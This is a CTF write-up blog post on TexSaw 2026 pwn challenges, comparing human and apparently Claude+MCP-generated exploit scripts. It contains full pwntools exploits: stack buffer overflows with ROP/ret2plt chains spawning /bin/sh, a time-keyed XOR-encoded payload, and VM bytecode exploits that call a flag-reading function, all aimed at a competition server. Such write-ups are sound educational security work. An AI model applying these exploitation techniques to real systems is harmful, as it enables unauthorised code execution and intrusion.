- Published on
TexSaw 2026 - PWN challenges
Introduction
I've already written about this CTF in the OSINT challenges section. I won't repeat myself too much. However, I'll add that I used MCP here initially, then completed these tasks without it. Why MCP? I simply wanted to get first blood π And I did it. This wasn't only due to MCP, but also because the website was heavily overloaded at the start, and downloading the tasks was barely possible. I downloaded the files and quickly fed them to the MCP model to solve them. It solved 2 simple tasks, which I'll show laterβdoing them manually proved more beneficial and educational. Only after some time did the address appear that I was supposed to connect to, but it wasn't available before. I had the model do it. MCP's interpreter couldn't solve the subsequent tasks despite my best efforts. However, my own approach solved Sigbovik I and Sigbovik II without issues. On Sigbovik III, I ran out of tokens and had to stop.

Return to sender
In this task, as you can see, we got first blood π 
Solution author: kerszi
Description
There aren't many security mechanisms:
checksec ./chall
[*]
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: No
The binary has minimal protections: no stack canary, executable stack, and no PIE. This makes exploitation straightforward.
Human solution
from pwn import *
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['/mnt/c/WINDOWS/System32/cmd.exe', '/c', 'start', 'wsl.exe'] #root
HOST="nc 143.198.163.4 15858"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./chall"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
win=binary.sym.drive
offset_win=win+41
payload=0x20*b'A'+0x8*b'B'+p64(offset_win)
p.sendlineafter(b'2 Canary Court',payload)
p.interactive()
And that's it. Simple, but AI did it like this.
AI (Claude+MCP)
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
binary = '/mnt/d/moje_programy/CTF/ctftime/2026/TexSAW-2026/pwn-return-to-sender/chall'
elf = ELF(binary, checksec=False)
# Gadgets / addresses (no PIE, no ASLR for code)
pop_rdi = 0x4011be # pop rdi; ret (inside 'tool' function)
ret_gadget = 0x4011bf # ret (stack alignment)
binsh = 0x4020e4 # "/bin/sh" string in .rodata
system_plt = elf.plt['system'] # 0x4010a0
# Buffer = rbp-0x20 = 32 bytes, + 8 bytes saved rbp = 40 bytes to ret addr
payload = b'A' * 40
payload += p64(ret_gadget) # align stack to 16 bytes
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
HOST = '143.198.163.4'
PORT = 15858
if args.LOCAL:
p = process(binary)
else:
p = remote(HOST, PORT)
p.recvuntil(b'?\n')
p.sendline(payload)
p.interactive()
Conclusion
As you can see, the model approached the problem in a very roundabout way. It did not need to, but it worked.
Whats the time


Solution author: kerszi
Description
This is a 32-bit binary, and there aren't many security mechanisms:
checksec ./whatsthetime
[*] '/mnt/d/moje_programy/CTF/ctftime/2026/TexSAW-2026/pwn-what-is-time/whatsthetime'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Human solution
I asked AI here as well, but only to write the time decryptor β the rest I did myself. It was an easy buffer overflow challenge: not return-to-win, as the author suggested, but ret2plt (system@plt).
import struct
from pwn import *
context.log_level = 'warning'
context.update(arch='x86', os='linux')
context.terminal = ['/mnt/c/WINDOWS/System32/cmd.exe', '/c', 'start', 'wsl.exe'] #root
HOST="nc 143.198.163.4 15858"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./whatsthetime"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
def encrypt_payload(payload, start_key):
encrypted = b""
current_key = start_key
for i in range(0, len(payload), 4):
block = payload[i:i+4].ljust(4, b"\x00")
val = struct.unpack("<I", block)[0]
res = val ^ (current_key & 0xFFFFFFFF)
encrypted += struct.pack("<I", res)
current_key += 1
return encrypted
current_time = int(time.time())
key = (current_time // 60) * 60
system_plt=binary.plt.system
bin_sh=next(binary.search(b'/bin/sh\x00'))
payload= encrypt_payload(68*b'A'+p32(system_plt)+p32(0)+p32(bin_sh), key)
p.sendlineafter(b'\n',payload)
p.interactive()
AI (Claude+MCP) solution
The solution is similar to mine, but I remember the chat struggling a lot and consuming many tokens before it got there.
from pwn import *
import time
import sys
# βββ Config ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
BINARY = './whatsthetime'
HOST = '143.198.163.4' # <-- wstaw adres serwera CTF
PORT = 3000 # <-- wstaw port
# βββ Addresses (no PIE) ββββββββββββββββββββββββββββββββββββββββββββββββββββββ
system_plt = 0x80490b0
binsh_addr = 0x804a018 # "/bin/sh" string embedded in binary
# βββ XOR helper ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
def xor_encode(desired: bytes, timestamp: int) -> bytes:
"""
Encode payload so that after the binary's rolling XOR, we get 'desired'.
The binary XORs group k with (timestamp + k); each byte j in the group
uses ((ts+k) >> (j*8)) & 0xFF as the key.
We send: sent[i] = desired[i] ^ key[i]
"""
out = bytearray()
ts = timestamp
for i in range(0, len(desired), 4):
chunk = desired[i:i+4]
for j, b in enumerate(chunk):
out.append(b ^ ((ts >> (j * 8)) & 0xFF))
ts += 1
return bytes(out)
# βββ Payload builder βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
def build_payload(timestamp: int) -> bytes:
OFFSET = 68 # 64-byte buf + 4-byte saved ebx = reach ret addr
desired = b'A' * OFFSET
desired += p32(system_plt) # overwrite return address
desired += p32(0xdeadbeef) # fake ret-addr for system() (don't care)
desired += p32(binsh_addr) # arg: "/bin/sh"
return xor_encode(desired, timestamp)
# βββ Main ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
def main():
remote_mode = len(sys.argv) > 1 and sys.argv[1] == 'remote'
if remote_mode:
log.info(f'Connecting to {HOST}:{PORT}')
p = remote(HOST, PORT)
else:
log.info('Running locally')
p = process(BINARY)
# Read banner + printed time
p.recvuntil(b'\n') # "I think one of my watch hands fell off!"
time_line = p.recvuntil(b'\n').decode()
log.info(f'Server says: {time_line.strip()}')
# Compute timestamp: time() rounded down to nearest minute
ts = int(time.time())
ts = (ts // 60) * 60
log.info(f'Using timestamp: {ts} ({hex(ts)})')
payload = build_payload(ts)
log.info(f'Sending {len(payload)}-byte payload')
p.send(payload)
# Drop the write() output (40 bytes of 'A's from the local buffer)
p.recvuntil(b'A' * 8, timeout=2)
p.recvuntil(b'\x00', timeout=2) # in case there's trailing data
log.success('Got shell!')
p.interactive()
if __name__ == '__main__':
main()
Sigbovik I

Solution author: Grzechu
This Sigbovik challenge series was exceptionally difficult. My chat couldnβt handle it. I then tried to analyze it manually, but it was tough. Grzesiekβs Reindeer Klaudiusz managed to crush Parts I and II, but at a high cost. In the end, his reindeer collapsed...
Solution
#!/usr/bin/env python3
import socket, struct, sys, time
def instr(opcode, imm=0):
return struct.pack('<QQ', opcode, imm)
LOAD = 0x010ad000
DONE = 0x0d0d0000
MPROTECT = 0x08008820
FLAG = 0x08008570
def send_recv(host, port, data, label="", wait=3):
print(f"\n[*] {label}")
try:
from pwn import remote
r = remote(host, port, timeout=10)
r.send(data)
time.sleep(0.3)
r.shutdown('send')
out = r.recvall(timeout=wait)
r.close()
print(f" [{len(out)}B] {repr(out[:300])}")
if b'texsaw{' in out:
print(f"\n[+] FLAG: {out[out.index(b'texsaw{'):out.index(b'}')+1].decode()}")
sys.exit(0)
return out
except ImportError:
s = socket.socket()
s.settimeout(10)
s.connect((host, port))
s.sendall(data)
time.sleep(0.3)
s.shutdown(socket.SHUT_WR)
out = b""
s.settimeout(wait)
try:
while True:
d = s.recv(4096)
if not d: break
out += d
except: pass
s.close()
print(f" [{len(out)}B] {repr(out[:300])}")
if b'texsaw{' in out:
print(f"\n[+] FLAG: {out[out.index(b'texsaw{'):out.index(b'}')+1].decode()}")
sys.exit(0)
return out
def main():
host = sys.argv[1] if len(sys.argv) > 1 else "143.198.163.4"
port = int(sys.argv[2]) if len(sys.argv) > 2 else 1900
# Sanity: LOAD 42 + DONE β should print "42\n"
send_recv(host, port, instr(LOAD, 42<<2) + instr(DONE, 0), "LOAD 42 + DONE")
# Test: LOAD 0 + mprotect + flag (our original exploit)
send_recv(host, port, instr(LOAD, 0) + instr(MPROTECT, 0) + instr(FLAG, 0),
"LOAD + mprotect + flag")
# Test: pad bytecode to full page (4096 bytes) so mprotect range is sane
exploit = instr(LOAD, 0) + instr(MPROTECT, 0) + instr(FLAG, 0)
exploit += b'\x00' * (4096 - len(exploit))
send_recv(host, port, exploit, "LOAD + mprotect + flag (padded to 4096)")
# Test: Two LOADs to potentially adjust rsi via stack
exploit2 = instr(LOAD, 0) + instr(LOAD, 0) + instr(MPROTECT, 0) + instr(FLAG, 0)
send_recv(host, port, exploit2, "2x LOAD + mprotect + flag")
# Test: FORGET after LOAD (pops value, might affect registers?)
FORGET = 0x049e7000
exploit3 = instr(LOAD, 0) + instr(FORGET, 0) + instr(MPROTECT, 0) + instr(FLAG, 0)
send_recv(host, port, exploit3, "LOAD + FORGET + mprotect + flag")
# Direct flag call variants (in case bytecode ISN'T read-only on server)
send_recv(host, port, instr(FLAG, 0), "Direct flag call")
# Try jumping past push rbp in flag function
send_recv(host, port, instr(FLAG + 4, 0), "Flag+4 (skip push+mov)")
# Try jumping to just before execve call but after argv setup
# At 0x8008599: lea rsi, [rbp-0x20] (uses writable rbp)
# Then lea rdi, xor eax, mov edx, call execve
send_recv(host, port, instr(0x8008599, 0), "Flag mid (argv setup + execve)")
# Use the SCROP approach: bridge via plain ret
PLAIN_RET = 0x80085b2 # just `ret` at end of flag func
# After init ret 0x8 β plain ret β pops next opcode β mprotect β pops next β flag
chain = instr(PLAIN_RET, 0) + instr(MPROTECT, 0) + instr(FLAG, 0)
send_recv(host, port, chain, "SCROP: ret bridge β mprotect β flag")
print("\n[*] Done")
if __name__ == "__main__":
main()
Sigbovik II - Errata

Solution author: Grzechu
Solution
#!/usr/bin/env python3
from pwn import *
HOST = '143.198.163.4'
PORT = 1901
def main():
context.log_level = 'info'
r = remote(HOST, PORT, timeout=15)
# Receive step markers
r.recvuntil(b'1\n', timeout=5)
# Send the exploit assembly
# PRIMAPPLY 8008574 = jump to flag function PAST the prologue
# (skips push rbp; mov rbp,rsp which would crash on read-only stack)
payload = b"LOAD NULL\nLOAD 0\nLOAD 0\nPRIMAPPLY 8008574\nDONE\n"
r.sendline(payload.strip())
# Receive all output
resp = r.recvall(timeout=10)
log.info(f"Response: {resp}")
# Extract flag
if b'texsaw{' in resp:
start = resp.index(b'texsaw{')
end = resp.index(b'}', start) + 1
flag = resp[start:end].decode()
log.success(f"FLAG: {flag}")
else:
log.info("No flag found, full output above")
r.close()
if __name__ == '__main__':
main()
Conclusion
Doing CTF tasks with AI has both pros and cons. You will definitely learn less than if you solved them on your own. And if you just type Do this and it does everything for you, you will learn nothing and burn through tokens. The best approach is to solve tasks thoughtfully, with AI helping youβnot doing everything for you.
Bonus
You can find all binaries here.
